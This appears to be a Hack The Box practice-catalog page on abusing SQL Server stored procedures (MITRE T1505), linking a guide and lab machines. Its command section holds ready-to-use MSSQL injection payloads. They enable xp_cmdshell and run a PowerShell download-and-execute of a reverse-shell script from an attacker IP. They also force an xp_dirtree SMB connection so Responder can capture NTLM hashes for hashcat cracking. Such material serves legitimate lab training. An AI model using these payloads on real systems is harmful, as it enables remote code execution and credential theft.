SQL Stored Procedures
Sub-technique of T1505 Server Software Component ↗
Using database procedures (xp_cmdshell in MSSQL) to run commands on the operating system.
How it shows up on Hack The Box
With MSSQL access, check whether you are sysadmin to enable xp_cmdshell; if not, xp_dirtree to your IP leaks the service account's NTLM hash and linked servers may give you more privileges.
Techniques in our catalog that match this one (the number is their machines):
Machines to practice it
Sorted from easiest to hardest. The ▶ link takes you to the minute of the IppSec video where it is used.
Guides
- MSSQL pentesting: xp_cmdshell, impersonation, linked servers and hash theft 3 min read Attack SQL Server in a domain: connect with mssqlclient, run commands with xp_cmdshell, escalate with EXECUTE AS, abuse linked servers and steal hashes.
Commands
Taken from our cheatsheets and tool pages. Type your details and they are filled into every command.
SQL injection payloads › MSSQL
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;--'; EXEC xp_cmdshell 'powershell -c "IEX(New-Object Net.WebClient).DownloadString(''http://10.10.14.5/rev.ps1'')"';--'; EXEC master..xp_dirtree '\\10.10.14.5\share';--First, on your machine, sudo responder -I tun0 (or impacket-smbserver share . -smb2support). Crack the hash with hashcat -m 5600.
impacket-mssqlclient usuario:'Password123!'@10.10.11.20 -windows-authImpacket › More examples
impacket-mssqlclient box.htb/usuario:'Password123!'@10.10.11.20 -windows-authResponder › Capturing hashes
EXEC master..xp_dirtree '\\10.10.14.5\share'No command matches.